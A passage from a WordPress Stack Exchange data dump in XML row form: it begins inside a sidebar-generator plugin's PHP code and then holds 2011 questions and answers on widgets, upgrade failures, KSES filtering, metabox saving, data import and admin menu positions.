         &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php&#xA;    }&#xA;&#xA;    /**&#xA;     * for saving the pages/post&#xA;    */&#xA;    function save_form($post_id){&#xA;        $is_saving = $_POST['sbg_edit'];&#xA;        if(!empty($is_saving)){&#xA;            delete_post_meta($post_id, 'sbg_selected_sidebar');&#xA;            delete_post_meta($post_id, 'sbg_selected_sidebar_replacement');&#xA;            add_post_meta($post_id, 'sbg_selected_sidebar', $_POST['sidebar_generator']);&#xA;            add_post_meta($post_id, 'sbg_selected_sidebar_replacement', $_POST['sidebar_generator_replacement']);&#xA;        }       &#xA;    }&#xA;&#xA;    function edit_form(){&#xA;        global $post;&#xA;        $post_id = $post;&#xA;        if (is_object($post_id)) {&#xA;            $post_id = $post_id-&amp;gt;ID;&#xA;        }&#xA;        $selected_sidebar = get_post_meta($post_id, 'sbg_selected_sidebar', true);&#xA;        if(!is_array($selected_sidebar)){&#xA;            $tmp = $selected_sidebar; &#xA;            $selected_sidebar = array(); &#xA;            $selected_sidebar[0] = $tmp;&#xA;        }&#xA;        $selected_sidebar_replacement = get_post_meta($post_id, 'sbg_selected_sidebar_replacement', true);&#xA;        if(!is_array($selected_sidebar_replacement)){&#xA;            $tmp = $selected_sidebar_replacement; &#xA;            $selected_sidebar_replacement = array(); &#xA;            $selected_sidebar_replacement[0] = $tmp;&#xA;        }&#xA;        ?&amp;gt;&#xA;&#xA;    &amp;lt;div id='sbg-sortables' class='meta-box-sortables'&amp;gt;&#xA;        &amp;lt;div id=&quot;sbg_box&quot; class=&quot;postbox &quot; &amp;gt;&#xA;            &amp;lt;div class=&quot;handlediv&quot; title=&quot;Click to toggle&quot;&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;h3 class='hndle'&amp;gt;&amp;lt;span&amp;gt;Sidebars&amp;lt;/span&amp;gt;&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;div class=&quot;inside&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;sbg_container&quot;&amp;gt;&#xA;                    &amp;lt;input name=&quot;sbg_edit&quot; type=&quot;hidden&quot; value=&quot;sbg_edit&quot; /&amp;gt;&#xA;&#xA;                    &amp;lt;p&amp;gt;&#xA;                        Select the sidebar you wish to display on this page, and which sidebar it will replace. (leave unselected to use the default sidebar everywhere)&#xA;                    &amp;lt;/p&amp;gt;&#xA;                    &amp;lt;ul&amp;gt;&#xA;                    &amp;lt;?php &#xA;                    global $wp_registered_sidebars;&#xA;                    //var_dump($wp_registered_sidebars);        &#xA;                        for($i=0;$i&amp;lt;5;$i++){ ?&amp;gt;&#xA;                            &amp;lt;li&amp;gt;Replace &#xA;                            &amp;lt;select name=&quot;sidebar_generator[&amp;lt;?=$i?&amp;gt;]&quot;&amp;gt;&#xA;                                &amp;lt;option value=&quot;0&quot;&amp;lt;?php if($selected_sidebar[$i] == ''){ echo &quot; selected&quot;;} ?&amp;gt;&amp;gt;WP Default Sidebar&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;?php&#xA;                            $sidebars = $wp_registered_sidebars;// sidebar_generator::get_sidebars();&#xA;                            if(is_array($sidebars) &amp;amp;&amp;amp; !empty($sidebars)){&#xA;                                foreach($sidebars as $sidebar){&#xA;                                    if($selected_sidebar[$i] == $sidebar['name']){&#xA;                                        echo &quot;&amp;lt;option value='{$sidebar['name']}' selected&amp;gt;{$sidebar['name']}&amp;lt;/option&amp;gt;\n&quot;;&#xA;                                    }else{&#xA;                                        echo &quot;&amp;lt;option value='{$sidebar['name']}'&amp;gt;{$sidebar['name']}&amp;lt;/option&amp;gt;\n&quot;;&#xA;                                    }&#xA;                                }&#xA;                            }&#xA;                            ?&amp;gt;&#xA;                            &amp;lt;/select&amp;gt;&#xA;                             with  &#xA;                            &amp;lt;select name=&quot;sidebar_generator_replacement[&amp;lt;?=$i?&amp;gt;]&quot;&amp;gt;&#xA;                                &amp;lt;option value=&quot;0&quot;&amp;lt;?php if($selected_sidebar_replacement[$i] == ''){ echo &quot; selected&quot;;} ?&amp;gt;&amp;gt;None&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;?php&#xA;&#xA;                            $sidebar_replacements = $wp_registered_sidebars;//sidebar_generator::get_sidebars();&#xA;                            if(is_array($sidebar_replacements) &amp;amp;&amp;amp; !empty($sidebar_replacements)){&#xA;                                foreach($sidebar_replacements as $sidebar){&#xA;                                    if($selected_sidebar_replacement[$i] == $sidebar['name']){&#xA;                                        echo &quot;&amp;lt;option value='{$sidebar['name']}' selected&amp;gt;{$sidebar['name']}&amp;lt;/option&amp;gt;\n&quot;;&#xA;                                    }else{&#xA;                                        echo &quot;&amp;lt;option value='{$sidebar['name']}'&amp;gt;{$sidebar['name']}&amp;lt;/option&amp;gt;\n&quot;;&#xA;                                    }&#xA;                                }&#xA;                            }&#xA;                            ?&amp;gt;&#xA;                            &amp;lt;/select&amp;gt; &#xA;&#xA;                            &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;?php } ?&amp;gt;&#xA;                    &amp;lt;/ul&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;?php&#xA;    }&#xA;&#xA;    /**&#xA;     * called by the action get_sidebar. this is what places this into the theme&#xA;    */&#xA;    function get_sidebar($name=&quot;0&quot;){&#xA;        if(!is_singular()){&#xA;            if($name != &quot;0&quot;){&#xA;                dynamic_sidebar($name);&#xA;            }else{&#xA;                dynamic_sidebar();&#xA;            }&#xA;            return;//dont do anything&#xA;        }&#xA;        global $wp_query;&#xA;        $post = $wp_query-&amp;gt;get_queried_object();&#xA;        $selected_sidebar = get_post_meta($post-&amp;gt;ID, 'sbg_selected_sidebar', true);&#xA;        $selected_sidebar_replacement = get_post_meta($post-&amp;gt;ID, 'sbg_selected_sidebar_replacement', true);&#xA;        $did_sidebar = false;&#xA;        //this page uses a generated sidebar&#xA;        if($selected_sidebar != '' &amp;amp;&amp;amp; $selected_sidebar != &quot;0&quot;){&#xA;            echo &quot;\n\n&amp;lt;!-- begin generated sidebar --&amp;gt;\n&quot;;&#xA;            if(is_array($selected_sidebar) &amp;amp;&amp;amp; !empty($selected_sidebar)){&#xA;                for($i=0;$i&amp;lt;sizeof($selected_sidebar);$i++){                    &#xA;&#xA;                    if($name == &quot;0&quot; &amp;amp;&amp;amp; $selected_sidebar[$i] == &quot;0&quot; &amp;amp;&amp;amp;  $selected_sidebar_replacement[$i] == &quot;0&quot;){&#xA;                        //echo &quot;\n\n&amp;lt;!-- [called $name selected {$selected_sidebar[$i]} replacement {$selected_sidebar_replacement[$i]}] --&amp;gt;&quot;;&#xA;                        dynamic_sidebar();//default behavior&#xA;                        $did_sidebar = true;&#xA;                        break;&#xA;                    }elseif($name == &quot;0&quot; &amp;amp;&amp;amp; $selected_sidebar[$i] == &quot;0&quot;){&#xA;                        //we are replacing the default sidebar with something&#xA;                        //echo &quot;\n\n&amp;lt;!-- [called $name selected {$selected_sidebar[$i]} replacement {$selected_sidebar_replacement[$i]}] --&amp;gt;&quot;;&#xA;                        dynamic_sidebar($selected_sidebar_replacement[$i]);//default behavior&#xA;                        $did_sidebar = true;&#xA;                        break;&#xA;                    }elseif($selected_sidebar[$i] == $name){&#xA;                        //we are replacing this $name&#xA;                        //echo &quot;\n\n&amp;lt;!-- [called $name selected {$selected_sidebar[$i]} replacement {$selected_sidebar_replacement[$i]}] --&amp;gt;&quot;;&#xA;                        $did_sidebar = true;&#xA;                        dynamic_sidebar($selected_sidebar_replacement[$i]);//default behavior&#xA;                        break;&#xA;                    }&#xA;                    //echo &quot;&amp;lt;!-- called=$name selected={$selected_sidebar[$i]} replacement={$selected_sidebar_replacement[$i]} --&amp;gt;\n&quot;;&#xA;                }&#xA;            }&#xA;            if($did_sidebar == true){&#xA;                echo &quot;\n&amp;lt;!-- end generated sidebar --&amp;gt;\n\n&quot;;&#xA;                return;&#xA;            }&#xA;            //go through without finding any replacements, lets just send them what they asked for&#xA;            if($name != &quot;0&quot;){&#xA;                dynamic_sidebar($name);&#xA;            }else{&#xA;                dynamic_sidebar();&#xA;            }&#xA;            echo &quot;\n&amp;lt;!-- end generated sidebar --&amp;gt;\n\n&quot;;&#xA;            return;         &#xA;        }else{&#xA;            if($name != &quot;0&quot;){&#xA;                dynamic_sidebar($name);&#xA;            }else{&#xA;                dynamic_sidebar();&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;    /**&#xA;     * replaces array of sidebar names&#xA;    */&#xA;    function update_sidebars($sidebar_array){&#xA;        $sidebars = update_option('sbg_sidebars',$sidebar_array);&#xA;    }   &#xA;&#xA;    /**&#xA;     * gets the generated sidebars&#xA;    */&#xA;    function get_sidebars(){&#xA;        $sidebars = get_option('sbg_sidebars');&#xA;        return $sidebars;&#xA;    }&#xA;    function name_to_class($name){&#xA;        $class = str_replace(array(' ',',','.','&quot;',&quot;'&quot;,'/',&quot;\\&quot;,'+','=',')','(','*','&amp;amp;','^','%','$','#','@','!','~','`','&amp;lt;','&amp;gt;','?','[',']','{','}','|',':',),'',$name);&#xA;        return $class;&#xA;    }&#xA;&#xA;}&#xA;$sbg = new sidebar_generator;&#xA;&#xA;function generated_dynamic_sidebar($name='0'){&#xA;    sidebar_generator::get_sidebar($name);  &#xA;    return true;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1869" LastEditorUserId="1869" LastEditorDisplayName="" LastEditDate="2011-04-07T11:52:44.383" LastActivityDate="2011-09-05T13:43:08.707" Title="Add menu page issues (permissions &amp; position)" Tags="&lt;plugins&gt;&lt;wp-admin&gt;&lt;page&gt;&lt;admin-menu&gt;&lt;permissions&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="14093" PostTypeId="1" CreationDate="2011-04-06T16:02:19.147" Score="2" ViewCount="94" Body="&lt;p&gt;I've got a registered sidebar called &quot;my-header&quot; that affects the absolute positioning of elements below it in the markup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I need to execute a query in header.php to determine if the sidebar is present for the current post, and write out a class identifier to my theme's body tag. I'll use this css class to adjust absolute positioning of elements accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a method that can be called, separately from the method that's used to display the sidebar, to determine if the post has widget content for the &quot;my-sidebar&quot; widget? For example, one that just returns true/false?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After looking through widgets.php, I tried using is_active_sidebar('my-header') but it returns true for all pages. I need a function that accepts the post as an argument. Otherwise, if none exists, I suppose I'll create my own function.&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-04-06T16:21:40.267" LastActivityDate="2011-08-09T11:17:32.450" Title="How to determine if post has widget content?" Tags="&lt;theme-development&gt;&lt;widgets&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="14094" PostTypeId="2" ParentId="14009" CreationDate="2011-04-06T16:03:38.883" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@menardmam:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Let's try with what I wrote in the question : &lt;code&gt;$cat-&amp;gt;cat_name&lt;/code&gt;. How can I know that &lt;code&gt;cat_name&lt;/code&gt; is a method that return something from &lt;code&gt;$cat&lt;/code&gt; from &lt;code&gt;get_the_category()&lt;/code&gt; function?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Frankly the best way to know an answer like that is to use a debugging IDE and to trace through the WordPress core source code. Seriously; the source code is the only documentation that is sure to have been updated, and the results shown in the debugger are the only documentation that is sure to be exactly correct. I use &lt;a href=&quot;http://blogs.jetbrains.com/webide/2011/03/configure-php-debugging-in-phpstorm-2-0/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;PhpStorm+Zend Debugger&lt;/strong&gt;&lt;/a&gt; but others use NetBeans, others Eclipse, and there are several other PHP IDEs with debuggers too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, you can &lt;em&gt;&quot;google&quot;&lt;/em&gt; for your specific questions by including &lt;code&gt;site:codex.wordpress.org&lt;/code&gt; as part of your search term and/or search for it here on this site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a third and often best way, &lt;em&gt;ask a specific question here on this site&lt;/em&gt;. This site works best when you ask specific &lt;em&gt;&quot;How-To&quot;&lt;/em&gt; questions with &lt;strong&gt;a title that matches your question&lt;/strong&gt; and with &lt;strong&gt;details about your question&lt;/strong&gt;, and &lt;strong&gt;especially your use-case&lt;/strong&gt; when applicable. Think about it this way: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;If someone googles to find the answer you are after, would google ever match their search terms with the title of your question? And when they do find your question would it be very clear to them what question you were asking?&lt;/em&gt; &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you can answer &lt;em&gt;&quot;Yes&quot;&lt;/em&gt; to both of those then chances are very good you'll get a great answer to your specific question here and you will be likely to get it quickly.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2011-04-06T16:03:38.883" CommentCount="4" />
  <row Id="14096" PostTypeId="2" ParentId="14090" CreationDate="2011-04-06T17:20:19.440" Score="1" ViewCount="" Body="&lt;p&gt;I would suggest using WordPress core image media management and thumbnail generation. Substituting TimThumb for this functionality is wasteful and unnecessary. Except for specific edge cases (i.e. zoom-crop), anything TimThumb can do, WordPress core functionality can do better.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-06T17:20:19.440" CommentCount="8" />
  <row Id="14097" PostTypeId="1" AcceptedAnswerId="14947" CreationDate="2011-04-06T17:50:24.487" Score="-1" ViewCount="388" Body="&lt;p&gt;When doing an automatic upgrade, I get this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Downloading update from &lt;a href=&quot;http://wordpress.org/wordpress-3.1.1.zip&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/wordpress-3.1.1.zip&lt;/a&gt;…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unpacking the update…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could not create directory.: /public_html&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Installation Failed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All my wp files are in /public_html and the directory already exists. The FTP user I am logging in as owns all the Wordpress files, so it cannot be a chmod problem. Is there any reason why this error is occurring? &lt;/p&gt;&#xA;" OwnerUserId="4224" LastActivityDate="2011-04-17T14:57:26.273" Title="Upgrade to 3.1.1 Fails" Tags="&lt;3.1&gt;&lt;upgrade&gt;" AnswerCount="2" CommentCount="6" />
  <row Id="14098" PostTypeId="2" ParentId="13413" CreationDate="2011-04-06T18:17:14.020" Score="0" ViewCount="" Body="&lt;p&gt;In order to allow another role other than Super Admin or Admin (depending if the Wordpress installation is a network/MU instance or not) to add unfiltered html to a post or comment Wordpress’ KSES filter must be removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check if a user has a particular capability.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( current_user_can( 'unfiltered_html' ) ) { … }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If so than remove KSES&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kses_remove_filters();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This functionality is already wrapped up in unfiltered-mu, allowing admins and editors to add unfiltered html.&lt;/p&gt;&#xA;" OwnerUserId="2362" LastActivityDate="2011-04-06T18:17:14.020" CommentCount="1" />
  <row Id="14099" PostTypeId="1" CreationDate="2011-04-06T18:21:13.580" Score="0" ViewCount="60" Body="&lt;p&gt;I'm executing a query inside of header.php which is apparently resetting the $post object so that all pages are getting the $post-&gt;ID of the last element in this loop.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mypostsheader = get_posts(array('cat' =&amp;gt; &quot;$cat,-$catHidden&quot;,'numberposts' =&amp;gt; $cb2_current_count));&#xA;$current_page = get_post( $current_page );?&amp;gt;&#xA;&amp;lt;div class=&quot;menu top&quot;&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&amp;lt;?php foreach($mypostsheader as $idx=&amp;gt;$post){&#xA;        if ( $post-&amp;gt;ID == $current_page-&amp;gt;ID )//do something; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried adding a rewind_posts() at the end of this function and also at the end of header.php but my echo $post-&gt;ID inside of page.php still returns the id of the last element in the query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-09-05T20:43:14.787" Title="All post ids are the same after this query but rewind_posts() does not seem to work here?" Tags="&lt;theme-development&gt;&lt;the-loop&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="14100" PostTypeId="2" ParentId="14097" CreationDate="2011-04-06T18:21:36.327" Score="0" ViewCount="" Body="&lt;p&gt;The codex mentions:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Note that your files all need to be owned by the user under which your Apache server executes.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Automatic update has been known to fail if you're not using PHP5.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Codex: &lt;a href=&quot;http://codex.wordpress.org/Updating_WordPress#Automatic_Update&quot; rel=&quot;nofollow&quot;&gt;Automatic_Update&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional, I found &lt;a href=&quot;http://wordpress.org/support/topic/30-upgrade-bug-ftps&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; Wordpress Support article featuring a similar problem for 3.x upgrades.&lt;/p&gt;&#xA;" OwnerUserId="2362" LastEditorUserId="2362" LastEditorDisplayName="" LastEditDate="2011-04-06T21:02:07.013" LastActivityDate="2011-04-06T21:02:07.013" CommentCount="1" />
  <row Id="14102" PostTypeId="1" CreationDate="2011-04-06T19:06:46.117" Score="1" ViewCount="207" Body="&lt;p&gt;We have about 10 years of custom blog-style, databased content that we want to import into a clean install of Wordpress. There doesn't seem to be an importer plugin that works with custom databsed content so has anyone done a direct INSERT into the Wordpress tables to achieve this? I can easily create custom INSERT statements for each of our custom rows. Does someone know what tables need to be touched for this or is there an easier or more conventional way to do this? Thanks&lt;/p&gt;&#xA;" OwnerUserId="4493" LastActivityDate="2011-04-06T19:34:23.673" Title="How to import custom data via XML, CSV, etc" Tags="&lt;3.1&gt;&lt;customization&gt;&lt;import&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="14103" PostTypeId="1" AcceptedAnswerId="14118" CreationDate="2011-04-06T19:20:44.530" Score="0" ViewCount="116" Body="&lt;p&gt;Just like the title states. I've added around 20+ custom fields into my wordpress site and only around 10 are showing in the drop down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The custom fields are all functioning fine on the site side, but they just aren't showing up in the drop down.&#xA;&lt;img src=&quot;http://i.stack.imgur.com/DRWUn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1972" LastEditorUserId="1972" LastEditorDisplayName="" LastEditDate="2011-04-06T20:27:51.623" LastActivityDate="2011-04-06T21:42:40.953" Title="Added 20 Custom Fields. Only 10 showing in drop down" Tags="&lt;custom-field&gt;" AnswerCount="2" CommentCount="6" />
  <row Id="14104" PostTypeId="1" AcceptedAnswerId="14106" CreationDate="2011-04-06T19:34:19.380" Score="0" ViewCount="68" Body="&lt;p&gt;The website I run www.detroitdungeon.com loads perfectly fine in every browser but in IE it crashes after loading. Any help would be appreciated!&lt;/p&gt;&#xA;" OwnerUserId="4494" LastActivityDate="2011-04-06T19:49:41.110" Title="Website fully loads then immediately crashes in Internet Explorer" Tags="&lt;page&gt;" AnswerCount="1" />
  <row Id="14105" PostTypeId="2" ParentId="14102" CreationDate="2011-04-06T19:34:23.673" Score="1" ViewCount="" Body="&lt;p&gt;To insert i a wordpress way would be to use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_post&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;wp_insert_post()&lt;/strong&gt;&lt;/a&gt; function which handles the actual database insertion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And i have used a &lt;a href=&quot;http://wordpress.org/extend/plugins/csv-2-post/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;CSV 2 POST Free Data Importer plugin&lt;/strong&gt;&lt;/a&gt; before on version 3.0 and as far as i know it should work with 3.1.1&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-06T19:34:23.673" />
  <row Id="14106" PostTypeId="2" ParentId="14104" CreationDate="2011-04-06T19:49:41.110" Score="0" ViewCount="" Body="&lt;p&gt;When you want to debug any issue, follow these steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Check Firefox or another browser to make sure it's not a system issue but is, in fact, a browser issue.&lt;/li&gt;&#xA;&lt;li&gt;Use the build-in debugger in IE to diagnose your problems.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You've already done step 1.  You've pointed out that the site works well everywhere &lt;em&gt;but&lt;/em&gt; IE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did step 2 for you.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The site loads fine in IE until you hit the page onLoad event.  Then, something fires that replaces your entire page content with the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;stimuli_overlay&quot; style=&quot;display: none;&quot;/&amp;gt;&#xA;&amp;lt;div id=&quot;stimuli_lightbox&quot; style=&quot;display: none;&quot;&amp;gt;&#xA;    ...&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This means your lightbox plugin is malfunctioning in IE.  Try disabling it to verify (the site should start working in IE again).  If it is the lightbox plugin, you'll need to find an alternative.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-04-06T19:49:41.110" CommentCount="3" />
  <row Id="14107" PostTypeId="2" ParentId="14078" CreationDate="2011-04-06T19:58:20.553" Score="2" ViewCount="" Body="&lt;p&gt;Using a stock WordPress installation, no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress, by default, stores uploads in the &lt;code&gt;/wp-content/uploads/yyyy/mm/&lt;/code&gt; directory for single sites.  For network installations, it stores them elsewhere and maps a similar permalink structure to the new location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see what you're trying to accomplish by keeping things in separate directories, but you'd have to revise a large portion of the WordPress uploader to make it happen.  Instead, why not ask a &lt;em&gt;new&lt;/em&gt; question about how to protect original full-size images from the public but allow them to view a downsampled smaller version?  &lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-04-06T19:58:20.553" CommentCount="1" />
  <row Id="14108" PostTypeId="1" CreationDate="2011-04-06T20:01:23.327" Score="1" ViewCount="228" Body="&lt;p&gt;I have created custom post types that also have custom meta_boxes I've created.  Currently, they save when I publish or update a post, but they don't save when I'm in draft mode making changes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('save_post', 'save_details');&#xA;&#xA;function save_details(){&#xA;if ( defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE ) {&#xA;    return $post_id;&#xA;}&#xA;global $post;&#xA;if ($post-&amp;gt;post_type == 'events') { // Check to see if Event Type.&#xA;    update_post_meta($post-&amp;gt;ID, &quot;event_featuring&quot;, $_POST[&quot;event_featuring&quot;]);&#xA;    update_post_meta($post-&amp;gt;ID, &quot;event_time&quot;, $_POST[&quot;event_time&quot;]);&#xA;    update_post_meta($post-&amp;gt;ID, &quot;event_date&quot;, $_POST[&quot;event_date&quot;]);&#xA;    update_post_meta($post-&amp;gt;ID, &quot;event_end_date&quot;, $_POST[&quot;event_end_date&quot;]);&#xA;    update_post_meta($post-&amp;gt;ID, &quot;event_location&quot;, $_POST[&quot;event_location&quot;]);&#xA;    update_post_meta($post-&amp;gt;ID, &quot;empid&quot;, $_POST[&quot;empid&quot;]);&#xA;    update_post_meta($post-&amp;gt;ID, &quot;bhs_event&quot;, $_POST[&quot;bhs_event&quot;]);&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried using wp_insert_post_data instead of save_post, but then I had the opposite problem.  It would save on Drafts, but publishing the post no longer worked.  What do I need to do differently so I can update a draft (before publishing) and it will save?&lt;/p&gt;&#xA;" OwnerUserId="3577" LastActivityDate="2011-05-10T14:06:15.127" Title="Metabox saves on Update or Publish, but not on Saving Draft" Tags="&lt;metabox&gt;&lt;save-post&gt;" AnswerCount="2" />
  <row Id="14109" PostTypeId="2" ParentId="14092" CreationDate="2011-04-06T20:06:28.437" Score="0" ViewCount="" Body="&lt;p&gt;you can do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// create your own page&#xA;    add_menu_page('my-page', 'My Page', 'My Page', 'parent-slug', 'my_plugin_options', '', '10');&#xA;&#xA;// create the subpage under my-page&#xA;    add_submenu_page('parent-slug', 'Sidebars', 'Sidebars', 'manage_options', __FILE__, array('sidebar_generator','admin_page'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the last parameter on add_menu_page is a 10.  The higher the number the lower the position of the menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTH&lt;/p&gt;&#xA;" OwnerUserId="413" LastActivityDate="2011-04-06T20:06:28.437" CommentCount="1" />
  <row Id="14110" PostTypeId="2" ParentId="324" CreationDate="2011-04-06T20:06:46.907" Score="0" ViewCount="" Body="&lt;p&gt;Well most everything is covered here:)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I will list stuff that isn't, most this is for Windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mythicsoft.com/page.aspx?type=agentransack&amp;amp;page=home&quot; rel=&quot;nofollow&quot;&gt;Agent Ransack&lt;/a&gt; its grep for windows and it's free.&lt;br&gt;&#xA;&lt;a href=&quot;http://xiles.net/downloads/#NexusFont&quot; rel=&quot;nofollow&quot;&gt;NexusFont&lt;/a&gt;  free font manager for windows, simple has no really good advanced tagging:(&lt;br&gt;&#xA;&lt;a href=&quot;http://home.snafu.de/tilman/xenulink.html&quot; rel=&quot;nofollow&quot;&gt;Xenu&lt;/a&gt; link sleuth broken link checker, crawler and site maps, amazingly fast.&lt;br&gt;&#xA;&lt;a href=&quot;http://labs.blackbaud.com/NetCommunity/article?artid=662&quot; rel=&quot;nofollow&quot;&gt;iBBDemo&lt;/a&gt; iphone and ipad tesing&lt;br&gt;&#xA;&lt;a href=&quot;http://www.virtualbox.org/wiki/Documentation&quot; rel=&quot;nofollow&quot;&gt;VirtualBox&lt;/a&gt; Virtual boxes!&lt;br&gt;&#xA;&lt;a href=&quot;http://www.poedit.net/&quot; rel=&quot;nofollow&quot;&gt;Poedit&lt;/a&gt; For translating code/stuff and making .mo/.po files.&lt;br&gt;&#xA;&lt;a href=&quot;http://camstudio.org/&quot; rel=&quot;nofollow&quot;&gt;CamStudio&lt;/a&gt;  make vids for clients.&lt;br&gt;&#xA;&lt;a href=&quot;http://vectormagic.com&quot; rel=&quot;nofollow&quot;&gt;Vector Magic&lt;/a&gt;  the magical world of vectors, not free but well worth it&lt;br&gt;&#xA;&lt;a href=&quot;http://www.colorzilla.com/firefox/&quot; rel=&quot;nofollow&quot;&gt;Collorzilla&lt;/a&gt; for firefox, can't work without.&lt;br&gt;&#xA;&lt;a href=&quot;https://github.com/meskyanichi/backup&quot; rel=&quot;nofollow&quot;&gt;Ruby backup&lt;/a&gt;  for linux/osx&lt;br&gt;&#xA;&lt;a href=&quot;https://github.com/javan/whenever&quot; rel=&quot;nofollow&quot;&gt;Whenever Gem&lt;/a&gt;   ruby cron tool  &lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-04-06T20:06:46.907" CommunityOwnedDate="2011-04-06T20:06:46.907" />
